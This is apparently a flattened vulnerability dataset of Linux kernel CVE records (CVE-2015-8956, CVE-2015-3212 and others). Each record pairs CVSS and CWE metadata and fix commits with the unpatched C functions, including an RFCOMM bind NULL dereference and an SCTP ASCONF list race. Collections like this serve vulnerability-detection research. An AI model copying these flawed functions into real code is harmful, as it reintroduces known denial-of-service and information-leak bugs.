'http://lists.fedoraproject.org/pipermail/package-announce/2015-June/160829.html', 'name': 'FEDORA-2015-10677', 'refsource': 'FEDORA', 'tags': []}, {'url': 'http://www.debian.org/security/2015/dsa-3329', 'name': 'DSA-3329', 'refsource': 'DEBIAN', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2684-1', 'name': 'USN-2684-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2683-1', 'name': 'USN-2683-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2682-1', 'name': 'USN-2682-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2681-1', 'name': 'USN-2681-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2680-1', 'name': 'USN-2680-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-08/msg00011.html', 'name': 'openSUSE-SU-2015:1382', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-07/msg00049.html', 'name': 'SUSE-SU-2015:1324', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://www.securitytracker.com/id/1032798', 'name': '1032798', 'refsource': 'SECTRACK', 'tags': []}]
[{'description': [{'lang': 'en', 'value': 'NVD-CWE-Other'}]}]
MEDIUM
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*', 'versionEndIncluding': '4.1.3', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'The kvm_apic_has_events function in arch/x86/kvm/lapic.h in the Linux kernel through 4.1.3 allows local users to cause a denial of service (NULL pointer dereference and system crash) or possibly have unspecified other impact by leveraging /dev/kvm access for an ioctl call.'}]
2017-09-22T01:29Z
2015-07-27T10:59Z
Other
NVD is only using a subset of CWE for mapping instead of the entire CWE, and the weakness type is not covered by that subset.
Insufficient Information
https://nvd.nist.gov/vuln/categories
0
Paolo Bonzini
2015-05-30 14:31:24+02:00
kvm: x86: fix kvm_apic_has_events to check for NULL pointer Malicious (or egregiously buggy) userspace can trigger it, but it should never happen in normal operation. Signed-off-by: Paolo Bonzini <[email protected]>
ce40cd3fc7fa40a6119e5fe6c0f2bc0eb4541009
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
kvm_apic_has_events
kvm_apic_has_events( struct kvm_vcpu * vcpu)
['vcpu']
static inline bool kvm_apic_has_events(struct kvm_vcpu *vcpu) { return vcpu->arch.apic->pending_events; }
18
True
1
CVE-2015-8956
False
False
False
False
AV:L/AC:L/Au:N/C:P/I:N/A:P
LOCAL
LOW
NONE
PARTIAL
NONE
PARTIAL
3.6
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:L
LOCAL
LOW
LOW
NONE
UNCHANGED
HIGH
NONE
LOW
6.1
MEDIUM
1.8
4.2
nan
[{'url': 'https://github.com/torvalds/linux/commit/951b6a0717db97ce420547222647bcc40bf1eacd', 'name': 'https://github.com/torvalds/linux/commit/951b6a0717db97ce420547222647bcc40bf1eacd', 'refsource': 'CONFIRM', 'tags': ['Issue Tracking', 'Patch']}, {'url': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=951b6a0717db97ce420547222647bcc40bf1eacd', 'name': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=951b6a0717db97ce420547222647bcc40bf1eacd', 'refsource': 'CONFIRM', 'tags': ['Issue Tracking', 'Patch']}, {'url': 'http://source.android.com/security/bulletin/2016-10-01.html', 'name': 'http://source.android.com/security/bulletin/2016-10-01.html', 'refsource': 'CONFIRM', 'tags': ['Patch', 'Vendor Advisory']}, {'url': 'http://www.securityfocus.com/bid/93326', 'name': '93326', 'refsource': 'BID', 'tags': []}, {'url': 'http://rhn.redhat.com/errata/RHSA-2016-2584.html', 'name': 'RHSA-2016:2584', 'refsource': 'REDHAT', 'tags': []}, {'url': 'http://rhn.redhat.com/errata/RHSA-2016-2574.html', 'name': 'RHSA-2016:2574', 'refsource': 'REDHAT', 'tags': []}]
[{'description': [{'lang': 'en', 'value': 'CWE-476'}]}]
LOW
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*', 'versionEndIncluding': '4.1.33', 'cpe_name': []}]}, {'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:google:android:*:*:*:*:*:*:*:*', 'versionEndIncluding': '7.0', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'The rfcomm_sock_bind function in net/bluetooth/rfcomm/sock.c in the Linux kernel before 4.2 allows local users to obtain sensitive information or cause a denial of service (NULL pointer dereference) via vectors involving a bind system call on a Bluetooth RFCOMM socket.'}]
2018-01-05T02:30Z
2016-10-10T10:59Z
NULL Pointer Dereference
A NULL pointer dereference occurs when the application dereferences a pointer that it expects to be valid, but is NULL, typically causing a crash or exit.
NULL pointer dereference issues can occur through a number of flaws, including race conditions, and simple programming omissions.
https://cwe.mitre.org/data/definitions/476.html
0
Jaganath Kanakkassery
2015-05-14 12:46:08+05:18
Bluetooth: Fix potential NULL dereference in RFCOMM bind callback addr can be NULL and it should not be dereferenced before NULL checking. Signed-off-by: Jaganath Kanakkassery <[email protected]> Signed-off-by: Marcel Holtmann <[email protected]>
951b6a0717db97ce420547222647bcc40bf1eacd
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
rfcomm_sock_bind
rfcomm_sock_bind( struct socket * sock , struct sockaddr * addr , int addr_len)
['sock', 'addr', 'addr_len']
static int rfcomm_sock_bind(struct socket *sock, struct sockaddr *addr, int addr_len) { struct sockaddr_rc *sa = (struct sockaddr_rc *) addr; struct sock *sk = sock->sk; int chan = sa->rc_channel; int err = 0; BT_DBG("sk %p %pMR", sk, &sa->rc_bdaddr); if (!addr || addr->sa_family != AF_BLUETOOTH) return -EINVAL; lock_sock(sk); if (sk->sk_state != BT_OPEN) { err = -EBADFD; goto done; } if (sk->sk_type != SOCK_STREAM) { err = -EINVAL; goto done; } write_lock(&rfcomm_sk_list.lock); if (chan && __rfcomm_get_listen_sock_by_addr(chan, &sa->rc_bdaddr)) { err = -EADDRINUSE; } else { /* Save source address */ bacpy(&rfcomm_pi(sk)->src, &sa->rc_bdaddr); rfcomm_pi(sk)->channel = chan; sk->sk_state = BT_BOUND; } write_unlock(&rfcomm_sk_list.lock); done: release_sock(sk); return err; }
199
True
1
CVE-2015-3212
False
False
False
False
AV:L/AC:L/Au:N/C:N/I:N/A:C
LOCAL
LOW
NONE
NONE
NONE
COMPLETE
4.9
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
[{'url': 'https://github.com/torvalds/linux/commit/2d45a02d0166caf2627fe91897c6ffc3b19514c4', 'name': 'https://github.com/torvalds/linux/commit/2d45a02d0166caf2627fe91897c6ffc3b19514c4', 'refsource': 'CONFIRM', 'tags': ['Vendor Advisory']}, {'url': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=2d45a02d0166caf2627fe91897c6ffc3b19514c4', 'name': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=2d45a02d0166caf2627fe91897c6ffc3b19514c4', 'refsource': 'CONFIRM', 'tags': ['Vendor Advisory']}, {'url': 'https://bugzilla.redhat.com/show_bug.cgi?id=1226442', 'name': 'https://bugzilla.redhat.com/show_bug.cgi?id=1226442', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.1.2', 'name': 'http://www.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.1.2', 'refsource': 'CONFIRM', 'tags': ['Vendor Advisory']}, {'url': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinoct2015-2719645.html', 'name': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinoct2015-2719645.html', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.securityfocus.com/bid/76082', 'name': '76082', 'refsource': 'BID', 'tags': []}, {'url': 'http://www.debian.org/security/2015/dsa-3329', 'name': 'DSA-3329', 'refsource': 'DEBIAN', 'tags': []}, {'url': 'http://rhn.redhat.com/errata/RHSA-2015-1787.html', 'name': 'RHSA-2015:1787', 'refsource': 'REDHAT', 'tags': []}, {'url': 'http://rhn.redhat.com/errata/RHSA-2015-1778.html', 'name': 'RHSA-2015:1778', 'refsource': 'REDHAT', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2719-1', 'name': 'USN-2719-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2718-1', 'name': 'USN-2718-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2717-1', 'name': 'USN-2717-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2716-1', 'name': 'USN-2716-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2715-1', 'name': 'USN-2715-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2714-1', 'name': 'USN-2714-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2713-1', 'name': 'USN-2713-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-08/msg00011.html', 'name': 'openSUSE-SU-2015:1382', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-07/msg00049.html', 'name': 'SUSE-SU-2015:1324', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://www.securitytracker.com/id/1033169', 'name': '1033169', 'refsource': 'SECTRACK', 'tags': []}, {'url': 'https://support.f5.com/csp/article/K05211147', 'name': 'https://support.f5.com/csp/article/K05211147', 'refsource': 'CONFIRM', 'tags': []}]
[{'description': [{'lang': 'en', 'value': 'CWE-362'}]}]
MEDIUM
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*', 'versionEndIncluding': '4.1.1', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'Race condition in net/sctp/socket.c in the Linux kernel before 4.1.2 allows local users to cause a denial of service (list corruption and panic) via a rapid series of system calls related to sockets, as demonstrated by setsockopt calls.'}]
2019-04-08T20:29Z
2015-08-31T10:59Z
Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
The program contains a code sequence that can run concurrently with other code, and the code sequence requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence that is operating concurrently.
This can have security implications when the expected synchronization is in security-critical code, such as recording whether a user is authenticated or modifying important state information that should not be influenced by an outsider. A race condition occurs within concurrent environments, and is effectively a property of a code sequence. Depending on the context, a code sequence may be in the form of a function call, a small number of instructions, a series of program invocations, etc. A race condition violates these properties, which are closely related: Exclusivity - the code sequence is given exclusive access to the shared resource, i.e., no other code sequence can modify properties of the shared resource before the original sequence has completed execution. Atomicity - the code sequence is behaviorally atomic, i.e., no other thread or process can concurrently execute the same sequence of instructions (or a subset) against the same resource. A race condition exists when an "interfering code sequence" can still access the shared resource, violating exclusivity. Programmers may assume that certain code sequences execute too quickly to be affected by an interfering code sequence; when they are not, this violates atomicity. For example, the single "x++" statement may appear atomic at the code layer, but it is actually non-atomic at the instruction layer, since it involves a read (the original value of x), followed by a computation (x+1), followed by a write (save the result to x). The interfering code sequence could be "trusted" or "untrusted." A trusted interfering code sequence occurs within the program; it cannot be modified by the attacker, and it can only be invoked indirectly. An untrusted interfering code sequence can be authored directly by the attacker, and typically it is external to the vulnerable program.
https://cwe.mitre.org/data/definitions/362.html
0
Marcelo Ricardo Leitner
2015-06-12 10:16:41-03:00
sctp: fix ASCONF list handling ->auto_asconf_splist is per namespace and mangled by functions like sctp_setsockopt_auto_asconf() which doesn't guarantee any serialization. Also, the call to inet_sk_copy_descendant() was backuping ->auto_asconf_list through the copy but was not honoring ->do_auto_asconf, which could lead to list corruption if it was different between both sockets. This commit thus fixes the list handling by using ->addr_wq_lock spinlock to protect the list. A special handling is done upon socket creation and destruction for that. Error handlig on sctp_init_sock() will never return an error after having initialized asconf, so sctp_destroy_sock() can be called without addrq_wq_lock. The lock now will be take on sctp_close_sock(), before locking the socket, so we don't do it in inverse order compared to sctp_addr_wq_timeout_handler(). Instead of taking the lock on sctp_sock_migrate() for copying and restoring the list values, it's preferred to avoid rewritting it by implementing sctp_copy_descendant(). Issue was found with a test application that kept flipping sysctl default_auto_asconf on and off, but one could trigger it by issuing simultaneous setsockopt() calls on multiple sockets or by creating/destroying sockets fast enough. This is only triggerable locally. Fixes: 9f7d653b67ae ("sctp: Add Auto-ASCONF support (core).") Reported-by: Ji Jianwen <[email protected]> Suggested-by: Neil Horman <[email protected]> Suggested-by: Hannes Frederic Sowa <[email protected]> Acked-by: Hannes Frederic Sowa <[email protected]> Signed-off-by: Marcelo Ricardo Leitner <[email protected]> Signed-off-by: David S. Miller <[email protected]>
2d45a02d0166caf2627fe91897c6ffc3b19514c4
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
sctp_close
sctp_close( struct sock * sk , long timeout)
['sk', 'timeout']
static void sctp_close(struct sock *sk, long timeout) { struct net *net = sock_net(sk); struct sctp_endpoint *ep; struct sctp_association *asoc; struct list_head *pos, *temp; unsigned int data_was_unread; pr_debug("%s: sk:%p, timeout:%ld\n", __func__, sk, timeout); lock_sock(sk); sk->sk_shutdown = SHUTDOWN_MASK; sk->sk_state = SCTP_SS_CLOSING; ep = sctp_sk(sk)->ep; /* Clean up any skbs sitting on the receive queue. */ data_was_unread = sctp_queue_purge_ulpevents(&sk->sk_receive_queue); data_was_unread += sctp_queue_purge_ulpevents(&sctp_sk(sk)->pd_lobby); /* Walk all associations on an endpoint. */ list_for_each_safe(pos, temp, &ep->asocs) { asoc = list_entry(pos, struct sctp_association, asocs); if (sctp_style(sk, TCP)) { /* A closed association can still be in the list if * it belongs to a TCP-style listening socket that is * not yet accepted. If so, free it. If not, send an * ABORT or SHUTDOWN based on the linger options. */ if (sctp_state(asoc, CLOSED)) { sctp_unhash_established(asoc); sctp_association_free(asoc); continue; } } if (data_was_unread || !skb_queue_empty(&asoc->ulpq.lobby) || !skb_queue_empty(&asoc->ulpq.reasm) || (sock_flag(sk, SOCK_LINGER) && !sk->sk_lingertime)) { struct sctp_chunk *chunk; chunk = sctp_make_abort_user(asoc, NULL, 0); if (chunk) sctp_primitive_ABORT(net, asoc, chunk); } else sctp_primitive_SHUTDOWN(net, asoc, NULL); } /* On a TCP-style socket, block for at most linger_time if set. */ if (sctp_style(sk, TCP) && timeout) sctp_wait_for_close(sk, timeout); /* This will run the backlog queue. */ release_sock(sk); /* Supposedly, no process has access to the socket, but * the net layers still may. */ local_bh_disable(); bh_lock_sock(sk); /* Hold the sock, since sk_common_release() will put sock_put() * and we have just a little more cleanup. */ sock_hold(sk); sk_common_release(sk); bh_unlock_sock(sk); local_bh_enable(); sock_put(sk); SCTP_DBG_OBJCNT_DEC(sock); }
305
True
1
CVE-2015-3212
False
False
False
False
AV:L/AC:L/Au:N/C:N/I:N/A:C
LOCAL
LOW
NONE
NONE
NONE
COMPLETE
4.9
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
[{'url': 'https://github.com/torvalds/linux/commit/2d45a02d0166caf2627fe91897c6ffc3b19514c4', 'name': 'https://github.com/torvalds/linux/commit/2d45a02d0166caf2627fe91897c6ffc3b19514c4', 'refsource': 'CONFIRM', 'tags': ['Vendor Advisory']}, {'url': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=2d45a02d0166caf2627fe91897c6ffc3b19514c4', 'name': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=2d45a02d0166caf2627fe91897c6ffc3b19514c4', 'refsource': 'CONFIRM', 'tags': ['Vendor Advisory']}, {'url': 'https://bugzilla.redhat.com/show_bug.cgi?id=1226442', 'name': 'https://bugzilla.redhat.com/show_bug.cgi?id=1226442', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.1.2', 'name': 'http://www.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.1.2', 'refsource': 'CONFIRM', 'tags': ['Vendor Advisory']}, {'url': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinoct2015-2719645.html', 'name': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinoct2015-2719645.html', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.securityfocus.com/bid/76082', 'name': '76082', 'refsource': 'BID', 'tags': []}, {'url': 'http://www.debian.org/security/2015/dsa-3329', 'name': 'DSA-3329', 'refsource': 'DEBIAN', 'tags': []}, {'url': 'http://rhn.redhat.com/errata/RHSA-2015-1787.html', 'name': 'RHSA-2015:1787', 'refsource': 'REDHAT', 'tags': []}, {'url': 'http://rhn.redhat.com/errata/RHSA-2015-1778.html', 'name': 'RHSA-2015:1778', 'refsource': 'REDHAT', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2719-1', 'name': 'USN-2719-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2718-1', 'name': 'USN-2718-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2717-1', 'name': 'USN-2717-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2716-1', 'name': 'USN-2716-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2715-1', 'name': 'USN-2715-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2714-1', 'name': 'USN-2714-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2713-1', 'name': 'USN-2713-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-08/msg00011.html', 'name': 'openSUSE-SU-2015:1382', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-07/msg00049.html', 'name': 'SUSE-SU-2015:1324', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://www.securitytracker.com/id/1033169', 'name': '1033169', 'refsource': 'SECTRACK', 'tags': []}, {'url': 'https://support.f5.com/csp/article/K05211147', 'name': 'https://support.f5.com/csp/article/K05211147', 'refsource': 'CONFIRM', 'tags': []}]
[{'description': [{'lang': 'en', 'value': 'CWE-362'}]}]
MEDIUM
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*', 'versionEndIncluding': '4.1.1', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'Race condition in net/sctp/socket.c in the Linux kernel before 4.1.2 allows local users to cause a denial of service (list corruption and panic) via a rapid series of system calls related to sockets, as demonstrated by setsockopt calls.'}]
2019-04-08T20:29Z
2015-08-31T10:59Z
Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
The program contains a code sequence that can run concurrently with other code, and the code sequence requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence that is operating concurrently.
This can have security implications when the expected synchronization is in security-critical code, such as recording whether a user is authenticated or modifying important state information that should not be influenced by an outsider. A race condition occurs within concurrent environments, and is effectively a property of a code sequence. Depending on the context, a code sequence may be in the form of a function call, a small number of instructions, a series of program invocations, etc. A race condition violates these properties, which are closely related: Exclusivity - the code sequence is given exclusive access to the shared resource, i.e., no other code sequence can modify properties of the shared resource before the original sequence has completed execution. Atomicity - the code sequence is behaviorally atomic, i.e., no other thread or process can concurrently execute the same sequence of instructions (or a subset) against the same resource. A race condition exists when an "interfering code sequence" can still access the shared resource, violating exclusivity. Programmers may assume that certain code sequences execute too quickly to be affected by an interfering code sequence; when they are not, this violates atomicity. For example, the single "x++" statement may appear atomic at the code layer, but it is actually non-atomic at the instruction layer, since it involves a read (the original value of x), followed by a computation (x+1), followed by a write (save the result to x). The interfering code sequence could be "trusted" or "untrusted." A trusted interfering code sequence occurs within the program; it cannot be modified by the attacker, and it can only be invoked indirectly. An untrusted interfering code sequence can be authored directly by the attacker, and typically it is external to the vulnerable program.
https://cwe.mitre.org/data/definitions/362.html
0
Marcelo Ricardo Leitner
2015-06-12 10:16:41-03:00
sctp: fix ASCONF list handling ->auto_asconf_splist is per namespace and mangled by functions like sctp_setsockopt_auto_asconf() which doesn't guarantee any serialization. Also, the call to inet_sk_copy_descendant() was backuping ->auto_asconf_list through the copy but was not honoring ->do_auto_asconf, which could lead to list corruption if it was different between both sockets. This commit thus fixes the list handling by using ->addr_wq_lock spinlock to protect the list. A special handling is done upon socket creation and destruction for that. Error handlig on sctp_init_sock() will never return an error after having initialized asconf, so sctp_destroy_sock() can be called without addrq_wq_lock. The lock now will be take on sctp_close_sock(), before locking the socket, so we don't do it in inverse order compared to sctp_addr_wq_timeout_handler(). Instead of taking the lock on sctp_sock_migrate() for copying and restoring the list values, it's preferred to avoid rewritting it by implementing sctp_copy_descendant(). Issue was found with a test application that kept flipping sysctl default_auto_asconf on and off, but one could trigger it by issuing simultaneous setsockopt() calls on multiple sockets or by creating/destroying sockets fast enough. This is only triggerable locally. Fixes: 9f7d653b67ae ("sctp: Add Auto-ASCONF support (core).") Reported-by: Ji Jianwen <[email protected]> Suggested-by: Neil Horman <[email protected]> Suggested-by: Hannes Frederic Sowa <[email protected]> Acked-by: Hannes Frederic Sowa <[email protected]> Signed-off-by: Marcelo Ricardo Leitner <[email protected]> Signed-off-by: David S. Miller <[email protected]>
2d45a02d0166caf2627fe91897c6ffc3b19514c4
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
sctp_init_sock
sctp_init_sock( struct sock * sk)
['sk']
static int sctp_init_sock(struct sock *sk) { struct net *net = sock_net(sk); struct sctp_sock *sp; pr_debug("%s: sk:%p\n", __func__, sk); sp = sctp_sk(sk); /* Initialize the SCTP per socket area. */ switch (sk->sk_type) { case SOCK_SEQPACKET: sp->type = SCTP_SOCKET_UDP; break; case SOCK_STREAM: sp->type = SCTP_SOCKET_TCP; break; default: return -ESOCKTNOSUPPORT; } /* Initialize default send parameters. These parameters can be * modified with the SCTP_DEFAULT_SEND_PARAM socket option. */ sp->default_stream = 0; sp->default_ppid = 0; sp->default_flags = 0; sp->default_context = 0; sp->default_timetolive = 0; sp->default_rcv_context = 0; sp->max_burst = net->sctp.max_burst; sp->sctp_hmac_alg = net->sctp.sctp_hmac_alg; /* Initialize default setup parameters. These parameters * can be modified with the SCTP_INITMSG socket option or * overridden by the SCTP_INIT CMSG. */ sp->initmsg.sinit_num_ostreams = sctp_max_outstreams; sp->initmsg.sinit_max_instreams = sctp_max_instreams; sp->initmsg.sinit_max_attempts = net->sctp.max_retrans_init; sp->initmsg.sinit_max_init_timeo = net->sctp.rto_max; /* Initialize default RTO related parameters. These parameters can * be modified for with the SCTP_RTOINFO socket option. */ sp->rtoinfo.srto_initial = net->sctp.rto_initial; sp->rtoinfo.srto_max = net->sctp.rto_max; sp->rtoinfo.srto_min = net->sctp.rto_min; /* Initialize default association related parameters. These parameters * can be modified with the SCTP_ASSOCINFO socket option. */ sp->assocparams.sasoc_asocmaxrxt = net->sctp.max_retrans_association; sp->assocparams.sasoc_number_peer_destinations = 0; sp->assocparams.sasoc_peer_rwnd = 0; sp->assocparams.sasoc_local_rwnd = 0; sp->assocparams.sasoc_cookie_life = net->sctp.valid_cookie_life; /* Initialize default event subscriptions. By default, all the * options are off. */ memset(&sp->subscribe, 0, sizeof(struct sctp_event_subscribe)); /* Default Peer Address Parameters. These defaults can * be modified via SCTP_PEER_ADDR_PARAMS */ sp->hbinterval = net->sctp.hb_interval; sp->pathmaxrxt = net->sctp.max_retrans_path; sp->pathmtu = 0; /* allow default discovery */ sp->sackdelay = net->sctp.sack_timeout; sp->sackfreq = 2; sp->param_flags = SPP_HB_ENABLE | SPP_PMTUD_ENABLE | SPP_SACKDELAY_ENABLE; /* If enabled no SCTP message fragmentation will be performed. * Configure through SCTP_DISABLE_FRAGMENTS socket option. */ sp->disable_fragments = 0; /* Enable Nagle algorithm by default. */ sp->nodelay = 0; sp->recvrcvinfo = 0; sp->recvnxtinfo = 0; /* Enable by default. */ sp->v4mapped = 1; /* Auto-close idle associations after the configured * number of seconds. A value of 0 disables this * feature. Configure through the SCTP_AUTOCLOSE socket option, * for UDP-style sockets only. */ sp->autoclose = 0; /* User specified fragmentation limit. */ sp->user_frag = 0; sp->adaptation_ind = 0; sp->pf = sctp_get_pf_specific(sk->sk_family); /* Control variables for partial data delivery. */ atomic_set(&sp->pd_mode, 0); skb_queue_head_init(&sp->pd_lobby); sp->frag_interleave = 0; /* Create a per socket endpoint structure. Even if we * change the data structure relationships, this may still * be useful for storing pre-connect address information. */ sp->ep = sctp_endpoint_new(sk, GFP_KERNEL); if (!sp->ep) return -ENOMEM; sp->hmac = NULL; sk->sk_destruct = sctp_destruct_sock; SCTP_DBG_OBJCNT_INC(sock); local_bh_disable(); percpu_counter_inc(&sctp_sockets_allocated); sock_prot_inuse_add(net, sk->sk_prot, 1); if (net->sctp.default_auto_asconf) { list_add_tail(&sp->auto_asconf_list, &net->sctp.auto_asconf_splist); sp->do_auto_asconf = 1; } else sp->do_auto_asconf = 0; local_bh_enable(); return 0; }
512
True
1
CVE-2015-3212
False
False
False
False
AV:L/AC:L/Au:N/C:N/I:N/A:C
LOCAL
LOW
NONE
NONE
NONE
COMPLETE
4.9
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
[{'url': 'https://github.com/torvalds/linux/commit/2d45a02d0166caf2627fe91897c6ffc3b19514c4', 'name': 'https://github.com/torvalds/linux/commit/2d45a02d0166caf2627fe91897c6ffc3b19514c4', 'refsource': 'CONFIRM', 'tags': ['Vendor Advisory']}, {'url': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=2d45a02d0166caf2627fe91897c6ffc3b19514c4', 'name': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=2d45a02d0166caf2627fe91897c6ffc3b19514c4', 'refsource': 'CONFIRM', 'tags': ['Vendor Advisory']}, {'url': 'https://bugzilla.redhat.com/show_bug.cgi?id=1226442', 'name': 'https://bugzilla.redhat.com/show_bug.cgi?id=1226442', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.1.2', 'name': 'http://www.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.1.2', 'refsource': 'CONFIRM', 'tags': ['Vendor Advisory']}, {'url': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinoct2015-2719645.html', 'name': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinoct2015-2719645.html', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.securityfocus.com/bid/76082', 'name': '76082', 'refsource': 'BID', 'tags': []}, {'url': 'http://www.debian.org/security/2015/dsa-3329', 'name': 'DSA-3329', 'refsource': 'DEBIAN', 'tags': []}, {'url': 'http://rhn.redhat.com/errata/RHSA-2015-1787.html', 'name': 'RHSA-2015:1787', 'refsource': 'REDHAT', 'tags': []}, {'url': 'http://rhn.redhat.com/errata/RHSA-2015-1778.html', 'name': 'RHSA-2015:1778', 'refsource': 'REDHAT', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2719-1', 'name': 'USN-2719-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2718-1', 'name': 'USN-2718-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2717-1', 'name': 'USN-2717-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2716-1', 'name': 'USN-2716-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2715-1', 'name': 'USN-2715-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2714-1', 'name': 'USN-2714-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2713-1', 'name': 'USN-2713-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-08/msg00011.html', 'name': 'openSUSE-SU-2015:1382', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-07/msg00049.html', 'name': 'SUSE-SU-2015:1324', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://www.securitytracker.com/id/1033169', 'name': '1033169', 'refsource': 'SECTRACK', 'tags': []}, {'url': 'https://support.f5.com/csp/article/K05211147', 'name': 'https://support.f5.com/csp/article/K05211147', 'refsource': 'CONFIRM', 'tags': []}]
